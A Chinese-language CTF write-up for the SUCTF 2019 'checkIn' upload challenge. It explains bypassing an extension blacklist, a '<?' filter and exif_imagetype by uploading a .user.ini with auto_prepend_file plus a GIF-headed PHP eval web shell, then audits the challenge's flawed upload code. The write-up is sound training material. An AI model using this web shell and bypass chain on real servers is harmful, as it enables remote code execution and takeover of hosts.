简介
原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn
考察知识点:上传绕过、.user.ini
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
过程
拿到题老方法 各种绕过尝试
经过测试 得知有:后缀名检测(php,php1、php5、phtml不行).文件内容不能有<? 、必须是图片类型、低啊用了这个函数exif_imagetype()所以要添加文件头
测试.htaccess可以 但是没用 看WP说服务器是nginx 1.10.3,似乎版本较高,不存在解析漏洞。可以使用.user.ini
.user.ini
.user.ini
。它比.htaccess
用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
auto_prepend_file和auto_append_file
大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()
时该设置无效)
利用思路大概是这样 上传.user.php内容指定a.jpg——>上传a.jpg内容为可以执行的php代码——>访问当前目录下的php文件即可
我们可以先上传一内容为下方的一个.user.php 我们可以看到上传成功当前目录下有个index.php 这说明这个漏洞可以利用成功
使用auto_prepend_file指定一个插入文件名为a.jpg 这样当前目录下的php文件就包含了a.jpg这个文件
GIF89a auto_prepend_file=a.jpg
在上传一个内容为a.jpg的小马文件 这样此段代码就包含到了index.php了
GIF89a <script language='php'>@eval($_POST['xiaohua']);<</script>
菜刀连接 使用菜刀中的虚拟终端查看flag即可获得
http://87e-ebb9c445cad2.node3.buuoj.cn/uploads/d57583a334819a28038b398dd11b00cf/index.php
参考学习:https://xz.aliyun.com/t/6091
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
代码审计
程序代码:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head> <body> <h2>Upload Labs</h2> <form action="index.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="fileUpload" id="file"><br> <input type="submit" name="upload" value="提交"> </form> </body> </html> <?php // error_reporting(0); $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]); if (!file_exists($userdir)) { mkdir($userdir, 0777, true); } file_put_contents($userdir . "/index.php", ""); if (isset($_POST["upload"])) { //获取缓存文件名 $tmp_name = $_FILES["fileUpload"]["tmp_name"]; //获取文件名 $name = $_FILES["fileUpload"]["name"]; print($name); //判断缓存文件是否存在 if (!$tmp_name) { die("filesize too big!"); } //判断文件名是否存在 if (!$name) { die("filename cannot be empty!"); } //获取文件后缀名 $extension = substr($name, strrpos($name, ".") + 1); //黑名单限制了ph开头的所有 还有这里作者可能想限制.htacess文件上传漏洞但是作者写错了 //所以可以上传.htaccess(注意拼写) if (preg_match("/ph|htacess/i", $extension)) { die("illegal suffix!"); } //判断文件内是否存在<?这些字符 这个很好绕过 //使用<script language='php'>@eval($_POST['xiaohua']);</script>轻松绕过 if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) { die("<? in contents!"); } //exif_imagetype — 判断一个图像的类型 可以判断一个函数的类型是不是图像类型 //绕过在文件头修改成Content-type对应的即可 比如GIF类型GIF89a Cntent-Type:image/gif $image_type = exif_imagetype($tmp_name); if (!$image_type) { die("exif_imagetype:not image!"); } $upload_file_path = $userdir . "/" . $name; move_uploaded_file($tmp_name, $upload_file_path); echo "Your dir " . $userdir. ' <br>'; echo 'Your files : <br>'; var_dump(scandir($userdir)); } ?>
基础工作部分
过滤部分
末尾部分
审计总结:文件后缀黑名单比较严格 过滤了一切php1 php2 phtml 这类的后缀 。
文件内容<?过滤 可以通过JS加载php绕过的
文件类型判断 可以添加图片头部绕过
参考学习:https://www.cnblogs.com/phpBigbin/p/7945273.html
来源:https://www.cnblogs.com/xhds/p/12381390.html